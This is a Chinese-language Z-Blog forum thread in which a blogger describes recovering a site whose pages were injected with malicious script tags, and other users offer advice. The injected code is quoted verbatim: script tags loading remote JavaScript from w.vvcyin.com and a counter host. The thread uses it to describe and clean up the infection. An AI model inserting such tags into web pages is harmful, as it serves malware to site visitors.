发新话题
打印

求助,博客清除挂马代码后,不正常了(已解决)

求助,博客清除挂马代码后,不正常了(已解决)


更新:
经过一个晚上的努力 ,终于恢复。
因为一直怀疑是数据库的问题,就先把数据库下到本地,在本地的zblog上文件重建发现一切OK,说明数据库没有问题。
然后嫌犯就是除数据库以外的文件了,于是找了个文件对比软件,把被恶意修改的网页和早前备份的文件对比了一番,发现原来大小写被改了,全部是小写了 。google一下发现CSS是对大小写敏感的,怪不得直接显示代码了,恢复的办法只能用备份的文件覆盖一下了,数据库就不要了。暗自庆幸15号刚整站备份过。
另外用软件在整个服务器里搜了一下w.vvcyin.com,发现在*.js、*.txt文件里还有残余。拉出来统统毙了。
最后文件重建,打开首页,久违的博客页面有回来了。
感谢washun


网站目录下每个页面(html、asp等)都被加了以下代码:

<script language="JavaScript" charset="gb2312" type="text/javascript" src="http://www8.itsun.com/count.php?uuid=1717901&style=none"></script><script id="advjs" src="http://w.vvcyin.com/adv.js?showmatrix_num=074"></script>

用字符串替换工具删除上述代码后,后台显示"错误原因:未知命令",
可以索引重建,但是文件也可以重建(昨天重建到一半就挂了)。前台页面有类似“<#cache_include_navbar#>”代码直接显示出来。(感觉是数据库不正常了)
具体症状可访问“http://www.cnctechnet.com/”或“http://www.foxble.com/”。
提醒,没装杀毒软件的请不要打开了,我怕没杀干净。看看下面的截图好了
实在想不到办法,请各位高手指点一下。

[ 本帖最后由 sunlight 于 2007-5-26 03:52 编辑 ]
附件: 您所在的用户组无法下载或查看附件
http://www.cnctechnet.com/
轻松数控网

TOP

你在那里删除的?模板还是数据库??
ZIPPO广州实体店-全场4折起,售后7天包退换。
支持Z-blog,谴责篡改&去除版权标记的可耻行为
------------------------------------------------------------------------------------------
新手请多看应用教程区Z-wiki,或站内搜索寻找答案
1、Z-blog主题修改助手   2、默认模板右侧栏目代码注释       3、默认CSS样式的注释     
4、Z-BLOG使用小贴士收集         5、Z-Blog模板标签库及相关说明   6、加广告请搜索gg/google/广告

TOP

数据库没动,就把每个页面的删了。
用字符串替换软件把所有页面(html,asp,php等都感染了)最下面的病毒代码删了,软件如下:

[ 本帖最后由 sunlight 于 2007-5-25 09:57 编辑 ]
附件: 您所在的用户组无法下载或查看附件
http://www.cnctechnet.com/
轻松数控网

TOP

回复 #3 sunlight 的帖子

补充症状:无法发布文章,tag、正文编辑框无法显示。
感觉问题在数据库
http://www.cnctechnet.com/
轻松数控网

TOP

干嘛不去模板里删除 页面一个个删除你不嫌累啊
ZIPPO广州实体店-全场4折起,售后7天包退换。
支持Z-blog,谴责篡改&去除版权标记的可耻行为
------------------------------------------------------------------------------------------
新手请多看应用教程区Z-wiki,或站内搜索寻找答案
1、Z-blog主题修改助手   2、默认模板右侧栏目代码注释       3、默认CSS样式的注释     
4、Z-BLOG使用小贴士收集         5、Z-Blog模板标签库及相关说明   6、加广告请搜索gg/google/广告

TOP

网站目录下的所有文件(html,asp等)底部都有恶意代码,比如根目录下的default.asp。用批量的字符串替换工具也不麻烦。
现在的问题是删了之后,还是不正常。

[ 本帖最后由 sunlight 于 2007-5-25 10:42 编辑 ]
http://www.cnctechnet.com/
轻松数控网

TOP

只要模板里的删除干净了 重建文件全部文章自动生成新的页面

如果你删除错误 比如多删了一个括号 那当然会出现错误
ZIPPO广州实体店-全场4折起,售后7天包退换。
支持Z-blog,谴责篡改&去除版权标记的可耻行为
------------------------------------------------------------------------------------------
新手请多看应用教程区Z-wiki,或站内搜索寻找答案
1、Z-blog主题修改助手   2、默认模板右侧栏目代码注释       3、默认CSS样式的注释     
4、Z-BLOG使用小贴士收集         5、Z-Blog模板标签库及相关说明   6、加广告请搜索gg/google/广告

TOP

终于好了 ,感谢washun
http://www.cnctechnet.com/
轻松数控网

TOP

发新话题